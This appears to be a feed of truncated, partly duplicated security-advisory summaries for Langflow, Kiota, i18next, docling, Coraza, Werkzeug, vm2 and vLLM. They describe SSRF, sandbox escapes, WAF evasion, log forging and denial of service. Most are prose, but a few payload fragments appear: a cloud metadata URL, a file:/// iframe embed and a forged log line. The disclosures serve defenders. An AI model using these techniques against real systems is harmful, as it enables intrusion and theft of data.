Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output. Two things combined to cause this: Protection disabled …

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output. Two things combined to cause this: Protection disabled …

Before Langflow 1.10.3, several built-in components sent server-side HTTP requests to URLs the flow author controls, with no SSRF enforcement. An authenticated user who can build or run flows could make the Langflow server reach loopback, RFC 1918 / private networks, link-local addresses and cloud metadata endpoints (for example http://169.254.169.254/latest/meta-data/), and in many cases read the response back through the component output. Two things combined to cause this: Protection disabled …

Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and …

@langchain/redis did not properly escape values used to construct structured RediSearch TAG and TEXT filters. An application that passes attacker-controlled values into these filters could allow the attacker to alter the resulting search query.

Overview A critical Arbitrary Code Execution (ACE) vulnerability exists in the Knowns Language Server Protocol (LSP) detection and startup pipeline. The system blindly trusts the settings.lsp.languages.<lang>.binary field defined in the project-level .knowns/config.json file. Because this field is never validated against an allowlist of managed binaries, and absolute paths are implicitly accepted, opening a malicious repository (or a legitimate repository where the config has been tampered with) results in the immediate …

When generating an API plugin manifest from an attacker-controlled or compromised OpenAPI description, Kiota copies x-ai-capabilities.response_semantics.oauth_card_path into the manifest without validating that it is a safe package-relative file reference. An attacker can supply parent-directory traversal, rooted paths, or absolute URIs instead of a card file within the plugin package. The unsafe reference is propagated into the generated manifest. Its security effect depends on the downstream host's handling of the reference …

When generating an API plugin manifest from an attacker-controlled or compromised OpenAPI description, Kiota copies x-ai-capabilities.response_semantics.oauth_card_path into the manifest without validating that it is a safe package-relative file reference. An attacker can supply parent-directory traversal, rooted paths, or absolute URIs instead of a card file within the plugin package. The unsafe reference is propagated into the generated manifest. Its security effect depends on the downstream host's handling of the reference …

An attacker who controls or tampers with an OpenAPI description can cause Kiota to emit attacker-controlled Java or PHP source outside a generated documentation comment. The affected sanitizers remove comment terminators rather than neutralizing them, allowing a terminator to reform from overlapping characters or from subsequent normalization. The Java sanitizer also removes non-ASCII characters after removing terminators, which can create a new terminator. Exploitation requires a developer or build pipeline …

An attacker who controls or tampers with an OpenAPI description can cause Kiota to emit attacker-controlled Java or PHP source outside a generated documentation comment. The affected sanitizers remove comment terminators rather than neutralizing them, allowing a terminator to reform from overlapping characters or from subsequent normalization. The Java sanitizer also removes non-ASCII characters after removing terminators, which can create a new terminator. Exploitation requires a developer or build pipeline …

There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin. This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.

A bug in the webhook generator initialization order incorrectly cleared the label-enforcement flag (EnforceLabels) after it was set, resulting in the provider-side check for external-secrets.io/type=webhook being skipped (and the operation to succeed while it should have failed with secret does not contain needed label 'external-secrets.io/type: webhook'. Update secret label to use it with webhook.

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the max_member_count limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

When the HTML backend renders pages in a headless browser (HTMLBackendOptions(render_page=True)), the enable_local_fetch option is not enforced. A crafted HTML file can embed an arbitrary local file (for example with <iframe src="file:///…">), and that file's contents appear in the page image attached to the returned DoclingDocument.

When the HTML backend renders pages in a headless browser (HTMLBackendOptions(render_page=True)), the enable_local_fetch option is not enforced. A crafted HTML file can embed an arbitrary local file (for example with <iframe src="file:///…">), and that file's contents appear in the page image attached to the returned DoclingDocument.

Rule 200003 is Coraza's blanket defense against multipart parser-inconsistency evasions — attack classes where the body is crafted so Coraza's Go mime/multipart reader and the backend's multipart parser (PHP, Node, Java, legacy libmodsecurity, etc.) disagree about where fields start or end. The rule fails-closed on any malformed body, so the operator does not need to enumerate every parser-disagreement trick. That defense is now void for any evasion that also truncates …

Any SecRule or CRS rule that inspects ARGS, ARGS_GET, ARGS_NAMES, ARGS_GET_NAMES, or ARGS_PATH can be evaded by inflating the request's argument count past SecArgumentsLimit (default 1000). The bypass probability per request scales with overflow: | Total args in request | Observed bypass rate of ARGS rule | |—|—| | 1000 (at limit) | 0 / 50 (0.0%) | | 1001 (1 over) | 0 / 2000 (< 0.1%) | | …

An attacker who can land bytes into any of the listed audit-log fields can inject arbitrary lines — including lines that visually resemble new log entries — into the audit log file of a defender running the default SecAuditLogFormat Native configuration. Realistic consequences: Forging entries to shift attribution. An injected line such as [client "9.9.9.9"] Coraza: Warning. … sits alongside genuine matches in Part H, and a human operator (or …

Werkzeug's safe_join function allows Windows device names as filenames when they have an empty ADS marker on NTFS. This was previously reported as https://github.com/pallets/werkzeug/security/advisories/GHSA-hgf8-39gv-g3f2, but the added filtering failed to account for the fact Windows allows special device names with an empty ADS marker, such as NUL:. send_from_directory uses safe_join to safely serve files at user-specified paths under a directory. If the application is running on Windows and NTFS, and …

NodeVM exposes the host util module to the sandbox through an unfiltered shallow copy (Object.assign({}, util)). On Node.js >= 22.9 this hands sandboxed code util.getCallSites(), a programmatic stack-introspection API that returns the host process's full call stack — absolute file paths, function names, and line numbers — including vm2 bridge internals and the embedding application's entrypoint. This bypasses the host-frame redaction established in GHSA-v27g-jcqj-v8rw, which only covers the Error.prepareStackTrace channel.

vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned. FinalizationRegistry and WeakRef are exposed to sandboxed …

Sandboxed code is able to disclose host memory used by small allocations by Buffer.from, Buffer.concat.

It being possible to obtain the host proto getter/setter, has been used in many reports: https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6 Yet it was never patched… This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured …

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is allowed." require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox. Sandboxed code can …

vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value. This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhandled rejection hardening. The localPromise constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge …

An untrusted script run by VM.run can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host construct trap forwards that Promise without applying the host-side rejection handling already used by the neighboring apply trap, so Node's strict unhandled-rejection policy terminates the host process.

vm2's current host-intrinsic prototype protection is incomplete. The fix for GHSA-vwrp-x96c-mhwq blocks sandbox writes into classic host intrinsics such as Object.prototype, Array.prototype, and Function.prototype, but current head still lets sandbox code in a default VM reach and mutate host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype. After VM.run() returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.

When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable]), and Promise.allSettled([thenable]) can invoke the thenable's then method in a microtask after VM.run() or NodeVM.run() has already returned. This bypasses the documented async-execution restriction and runs outside the configured timeout, allowing sandboxed code to continue executing …

There is a sandbox escape in vm2 3.11.5 / current HEAD when it is used on Node.js 26. The issue is reachable from a default new VM() sandbox. No NodeVM, require permission, host object injection, or intentionally unsafe configuration is required. The escape is a patch-bypass of the same security invariant addressed by GHSA-6j2x-vhqr-qr7q. The earlier fix removed the JSPI entry points WebAssembly.promising and WebAssembly.Suspending, because those APIs exposed a …

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant …

Attacker-controlled code can trigger a host-realm syntax error and read its stack through the vm2 bridge. Host-realm stack formatting bypasses the sandbox-side redaction, so the returned value exposes absolute paths from vm2, Node.js internals, and the embedding application. Default VM and NodeVM configurations are affected without requiring special options.

Three structured-output request paths let an ordinary request reach a condition that raises an uncaught, engine-fatal exception instead of a per-request validation error. The failure is not confined to the request that caused it: it escapes into EngineCore's busy loop and triggers a fatal _send_engine_dead(), so one malformed structured-output request denies service to all concurrent and subsequent tenants of that engine. The requests are ordinary API calls; the client does …

vLLM's disaggregated scale-out transport splits a multimodal request into a trusted render step (POST /v1/chat/completions/render) and a separate generate step (POST /inference/v1/generate). The generate route decodes a caller-supplied features object — serialized encoder tensors (kwargs_data), multimodal hashes (mm_hashes), placeholder ranges (mm_placeholders), and the internal field-processor selection — and forwards it into the engine as if it had come from the trusted renderer, with no rebinding to (or validation against) the …

An unauthenticated remote attacker can exhaust the memory of the vLLM API-server process by raising the request-level media_io_kwargs.video.max_frames and fps knobs on any deployment serving a Qwen2-VL or Qwen3-VL model. 74 extra bytes of JSON took the server's peak RSS from 2 271 MiB to 13 629 MiB over unauthenticated POST /tokenize. The num_frames ceiling reported in GHSA-vxqj-p4gw-9h4c and fixed by open PR #51969 does not reach this path: the …

vLLM's OpenAI-compatible request models (Completions, Chat Completions, Responses) accept a client-supplied cache_salt field and validate it only as "must be a non-empty string" — no character or length restrictions. On a deployment with the built-in LMCache-MP KV connector enabled, that value is stored verbatim on the request tracker and forwarded unguarded as a keyword argument into the scheduler's per-step cache lookup. The downstream LMCache library applies a stricter check in …